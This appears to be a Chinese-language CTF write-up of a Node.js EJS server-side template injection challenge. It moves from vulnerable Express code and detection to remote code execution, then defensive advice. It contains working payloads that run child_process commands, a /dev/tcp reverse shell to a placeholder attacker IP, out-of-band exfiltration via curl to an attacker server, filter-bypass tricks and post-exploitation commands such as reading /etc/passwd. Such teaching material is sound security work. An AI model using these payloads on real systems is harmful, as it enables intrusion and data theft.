Node.js SSTI漏洞实战:从原理到攻防的完整解析 1. 项目概述一次真实的攻防演练复盘前段时间我作为防守方复盘了一场以“振兴杯”为背景的网络安全技能竞赛中的Web渗透题目。这道题的核心是一个典型的SSTI服务器端模板注入漏洞靶场环境搭建在Node.js上。复盘下来整个过程非常经典几乎涵盖了从信息收集、漏洞发现、利用构造到最终获取权限的完整链条。对于想深入理解Web安全特别是Node.js环境下SSTI漏洞利用的朋友来说这是一个绝佳的实战案例。今天我就把这个“战例”拆开揉碎了结合我踩过的坑和总结的技巧分享给大家。无论你是刚入门的安全爱好者还是想巩固Node.js安全知识的开发者相信都能从中获得一些直接的启发和可复现的操作步骤。2. 核心漏洞原理SSTI在Node.js中的“生存土壤”在深入实战之前我们必须先搞清楚SSTI漏洞在Node.js里到底是怎么一回事。这决定了我们后续探测和利用的方向。2.1 什么是SSTI简单来说SSTI就是攻击者能够将恶意代码注入到服务器端的模板引擎中并使其被执行。模板引擎如Jinja2, Twig, EJS, Pug/Jade, Handlebars等本是为了方便开发者动态生成HTML页面而设计的。开发者会在模板中写入一些占位符变量或表达式服务器端用真实数据填充这些占位符最终渲染成完整的HTML返回给用户。漏洞产生的根本原因在于开发者错误地将用户输入直接拼接到了模板字符串中而不是作为纯粹的数据传递给模板。这就好比本来应该把用户给的“颜料”数据涂在画布模板的指定位置结果却把用户给的“画笔和颜料”包含指令的字符串当成了画布本身的一部分去执行。2.2 Node.js常见模板引擎与危险函数Node.js生态繁荣模板引擎众多每种引擎的语法和内置功能对象、方法不同这就导致了SSTI的利用方式千差万别。比赛中常见的几种有EJS (Embedded JavaScript)语法接近原生JS使用% %标签。如果用户输入被直接拼接到模板字符串中攻击者就可能闭合标签执行任意JS代码。Pug (原名Jade)使用缩进定义结构功能强大。其内置的全局对象和函数如global,process是攻击者垂涎的目标。Handlebars逻辑相对较弱强调“无逻辑模板”但早期版本或配置不当仍可能存在风险通常需要结合原型链污染进行利用。Nunjucks受Jinja2启发功能复杂提供了丰富的过滤器filter和全局函数攻击面较大。除了模板引擎本身Node.js中一些危险的全局对象和方法也是渗透的关键跳板global/GLOBALNode.js的全局命名空间对象所有全局变量除了global本身都是它的属性。如果能访问到它几乎就能访问一切。process提供与当前Node.js进程交互的对象。通过process.mainModule或require(child_process)可以执行系统命令是获取Shell的终极目标。constructorJavaScript中函数的构造器通过它可以访问Function构造函数用于动态创建和执行函数。__proto__或Object.getPrototypeOf()用于访问和操纵对象的原型链是进行原型链污染攻击的入口。注意在实际渗透测试或CTF中第一步往往就是通过报错信息、响应特征如特定HTML注释或模糊测试来判断目标使用的是哪种模板引擎。比如看到Internal server error中出现了at eval (eval at anonymous很可能就是EJS而看到Pug相关的路径或关键词则指向Pug引擎。3. 实战环境搭建与信息收集模拟为了复现和讲解我们假设一个简化的靶场环境。这里我用一个存在SSTI漏洞的Node.js Express EJS应用作为例子。3.1 漏洞代码示例假设服务器端app.js核心代码如下const express require(express); const app express(); app.set(view engine, ejs); // 使用EJS模板引擎 app.get(/greet, (req, res) { const name req.query.name || Guest; // 危险操作直接将用户输入的name拼接进模板字符串 const template h1Hello, ${name}!/h1pWelcome to our site./p; // 错误地使用ejs.render而不是res.render try { const html ejs.render(template, {}); res.send(html); } catch (err) { res.send(Error rendering template.); } }); app.listen(3000, () console.log(Server running on port 3000));这段代码的致命错误在于它没有使用Express框架推荐的res.render(view, data)方式这种方式会将数据安全地传递给独立的.ejs模板文件而是手动构造了一个模板字符串并调用了ejs.render()。用户控制的name参数被直接拼接进了这个字符串。3.2 信息收集与漏洞探测在实际攻击中我们可能只有一个URL。第一步就是信息收集。基础探测访问目标查看响应头、Cookie、HTML源码中是否有框架、引擎标识。例如Express默认的X-Powered-By头可能会暴露。参数模糊测试对每一个可能的输入点GET/POST参数、Cookie、Headers尝试注入特殊的模板语法。通用测试Payload{{7*7}}${7*7}% 7*7 %#{7*7}。不同引擎的语法不同需要逐一尝试。我们的靶场访问http://target.com:3000/greet?nameWorld返回正常。尝试http://target.com:3000/greet?name% 7*7 %。分析响应如果返回的页面中显示49而不是原始的% 7*7 %那么恭喜SSTI漏洞存在并且是EJS引擎。如果返回错误信息仔细阅读错误内容它常常会泄露引擎类型甚至部分代码栈。在我们的例子中输入% 7*7 %后页面显示Hello, 49!这确凿地证明了EJS模板注入漏洞的存在并且表达式被执行了。4. 漏洞利用链的深度构造确认漏洞后下一步就是构造利用链目标是执行任意代码或命令。在Node.js的沙盒环境下如果有或者直接在有global对象访问权限的情况下我们需要一步步“爬”到能执行命令的位置。4.1 从表达式执行到访问全局对象首先我们需要在模板表达式中执行JavaScript代码。在EJS中% %用于输出表达式结果而% %用于执行控制流代码但不直接输出。为了获取回显我们通常用% %。探测可用对象尝试输出全局对象。Payload:% global %如果页面返回了[object global]或类似信息说明global对象可访问。这是最理想的情况。如果global被过滤或无法访问我们需要利用JavaScript的原型链。在JS中对象的构造器constructor指向创建它的函数。而函数的constructor属性指向Function构造函数。我们可以从一个简单的对象比如空字符串{}空对象或者[]空数组开始沿着原型链向上找。经典Payload% .constructor %会输出[Function: String]。.constructor.constructor实际上会返回[Function: Function]即Function构造函数本身。4.2 构造命令执行函数有了Function构造函数我们就可以动态创建函数了。Function构造函数的最后一个参数是函数体字符串。创建执行系统命令的函数首先我们需要通过global.process.mainModule.require或类似路径引入Node.js核心模块child_process。但在EJS的模板上下文中require可能被禁用或不可直接访问。我们可以通过global.process.mainModule.require来绕开限制。构造Payload的思路// 伪代码逻辑 const func new Function(return global.process.mainModule.require(child_process))(); const execSync func().execSync; const result execSync(whoami).toString(); return result;将其转化为一行式注入Payload我们需要将所有逻辑压缩到一个EJS表达式里。这需要巧妙的拼接。最终Payload示例用于EJS% ((){ const cp global.process.mainModule.require(child_process); return cp.execSync(id).toString(); })() %这个Payload做了以下几件事使用立即执行的箭头函数((){ ... })()。在函数内部通过global.process.mainModule.require获取到child_process模块。调用该模块的execSync方法执行系统命令id。将命令执行的二进制输出转换为字符串并返回。最外层的% %将这个字符串输出到HTML页面上。实操心得在实际比赛中空格、引号、require等关键词经常被WAFWeb应用防火墙或简单的过滤器拦截。这时就需要用到各种绕过技巧字符串拼接child_processpro[concat](cess)。利用JS特性process[0]返回p可以拼出单词。使用反引号require(child_process)。编码Hex编码、Unicode编码等。利用其他全局对象路径除了global.process有时this.process、mainModule.constructor._load也可能成功。4.3 利用链的另一种路径原型链污染与结合利用在某些更严格的场景下直接访问global或process被禁止。这时可以考虑原型链污染作为前置攻击为SSTI创造条件。原理通过修改Object.prototype等基础原型对象的属性所有继承自该原型的对象都会受到影响。如果后续的模板渲染代码使用了被污染的属性就可能触发恶意代码执行。与SSTI结合先找到一个可以污染原型链的输入点例如合并对象时未对__proto__进行过滤将恶意函数“挂”到原型链上。然后在SSTI的触发点模板引擎访问某个对象的属性时会沿着原型链找到我们预先设置的恶意函数并执行。实战简化这通常需要两个步骤或两个漏洞点在CTF中常作为高难度题目出现。思路是“先污染后触发”。5. 完整的渗透过程实录与命令执行让我们回到最初的漏洞点实施一次完整的攻击。假设目标就是我们的示例靶场且没有任何过滤。5.1 步骤一确认漏洞与引擎访问http://localhost:3000/greet?name% 7*7 %响应Hello, 49!-确认EJS SSTI。5.2 步骤二探测可用对象与上下文访问http://localhost:3000/greet?name% JSON.stringify(Object.keys(global)) %这个Payload尝试列出global对象的所有属性名。如果成功返回的页面会包含一个巨大的JSON数组里面有processconsolerequire等关键字。这能帮助我们了解可用的“武器库”。5.3 步骤三构造并执行命令使用我们之前构造的Payload 访问http://localhost:3000/greet?name% ((){ const cp global.process.mainModule.require(child_process); return cp.execSync(ls -la /).toString(); })() %解释这个命令会列出根目录下的文件。如果成功页面上“Hello, ”后面将会显示Linux根目录的文件列表。5.4 步骤四获取反向Shell进阶在渗透测试中执行单条命令往往不够我们需要一个交互式的Shell。这可以通过反向Shell实现。在攻击机上监听在Kali或自己的VPS上执行nc -lvnp 4444监听4444端口。构造反向Shell Payload需要生成一个能连接到我们监听端口的命令。Node.js下可以使用child_process.spawn。Payload示例% ((){ const { spawn } global.process.mainModule.require(child_process); const sh spawn(/bin/sh, [-c, bash -i /dev/tcp/YOUR_ATTACK_IP/4444 01]); return Shell sent.; })() %将YOUR_ATTACK_IP替换为你的攻击机公网IP或内网IP。这个Payload会启动一个bash进程并将其标准输入输出重定向到TCP连接从而在我们监听端口上得到一个Shell。重要警告此操作仅限在授权测试的靶场或自己搭建的环境中进行。未经授权对他人系统实施是非法行为。5.5 步骤五权限维持与信息收集后渗透一旦获得Shell即使是低权限后续就是标准的后渗透流程查看当前用户whoamiid查看敏感文件/etc/passwd~/.bash_historyapp.js应用源码package.json依赖信息查找数据库凭证在源码、环境变量env、配置文件中搜索passwordsecretdatabase等关键词。尝试提权检查sudo -l SUID文件find / -perm -us -type f 2/dev/null内核漏洞等。6. 防御策略与安全开发建议作为开发者如何避免自己的Node.js应用成为别人的靶场呢6.1 根本方法避免不安全的模板渲染使用安全的渲染方式对于Express EJS永远使用res.render(template, data)让数据通过模板引擎的官方通道安全传递。绝对不要拼接用户输入到模板字符串这是万恶之源。任何用户输入在进入模板渲染前都应被视为纯数据。对动态模板名称进行严格过滤如果需要动态选择模板文件必须将用户输入限定在白名单内防止目录穿越../等攻击。6.2 缓解措施沙盒与隔离如果业务确实需要动态执行逻辑如CMS的自定义模板功能考虑使用严格的沙盒环境例如Node.js的vm2模块它提供了一个比原生vm模块更安全的沙盒环境可以限制访问requireprocess等危险对象。禁用危险原型属性在模板引擎的配置中禁用对__proto__constructorprototype等属性的访问。内容安全策略CSP虽然CSP主要防御XSS但也能增加攻击难度。6.3 安全开发习惯依赖项安全定期使用npm audit或yarn audit检查依赖漏洞及时更新。安全编码规范在团队中推行安全编码规范对用户输入进行严格的校验和过滤白名单优于黑名单。代码审计与渗透测试定期进行代码安全审计和模拟攻击测试主动发现潜在漏洞。7. 常见问题与排查技巧实录在实战和教学过程中我遇到了不少典型问题这里记录一下问题1Payload执行后无回显或者页面报错“require is not defined”。排查思路检查引擎确认模板引擎是否正确。用% 7*7 %再测一次。检查上下文可能模板运行在一个沙盒或受限上下文中global和require被移除了。尝试使用this或者从其他对象如arguments.callee.caller的上下文中寻找突破口。这在CTF中很常见。尝试其他命令执行方式如果不能require(child_process)可以尝试利用已有模块的功能比如通过fs模块写一个Webshell或者利用os模块执行命令如果版本允许。技巧使用一个简单的Payload测试命令执行和回显通道是否畅通% global.process.version %。如果能输出Node.js版本说明global.process可访问但require可能被限制。问题2特殊字符如空格、引号被过滤或转义。绕过技巧空格用%20/**/在JS中是多行注释但某些解析器会忽略或者使用${反引号}字符串模板如果支持。引号使用反引号或者用String.fromCharCode()函数构造字符。例如child_process可以写成child_process或String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)。括号某些过滤器只过滤成对的括号。可以尝试使用反引号调用函数如requirechild_process这相当于require(child_process)。问题3如何判断命令是否执行成功技巧对于无回显的“盲注”型SSTI可以采用外带技术OOB。DNS外带执行命令如ping -c 1 your-domain.com在你的DNS日志中查看是否有解析请求。HTTP外带使用curl或wget访问一个你控制的Web服务器将命令结果作为URL参数或子域名带出。例如curl http://your-server.com/$(whoami)。时间延迟通过执行sleep 5等命令观察响应时间是否延迟来判断命令是否执行。问题4在Docker或受限容器环境中很多命令没有。思路先探测环境执行which bashwhich shwhich python3which nc等看看有什么可用的解释器或工具。使用Node.js本身最可靠的方式就是利用Node.js来读写文件或发起网络请求。例如用fs模块读写文件用http/https模块发起请求外带数据。编写JS文件如果可以写文件可以尝试将一段复杂的JS后门代码写入/tmp目录然后用node执行它。复盘这道“振兴杯”的题目最大的收获不是那个Payload本身而是理解整个漏洞从产生、发现到利用的完整逻辑链条。Node.js的灵活性和强大的内置对象在开发者手中是利器在攻击者眼中就是跳板。防御的关键始终在于对“用户输入不可信”这一铁律的坚守以及安全编码习惯的养成。对于安全研究者而言掌握不同模板引擎的特性、熟悉JavaScript原型链和全局对象是挖掘和利用这类漏洞的基本功。下次当你看到% %或者{{ }}时不妨多思考一秒这里的变量真的只是数据吗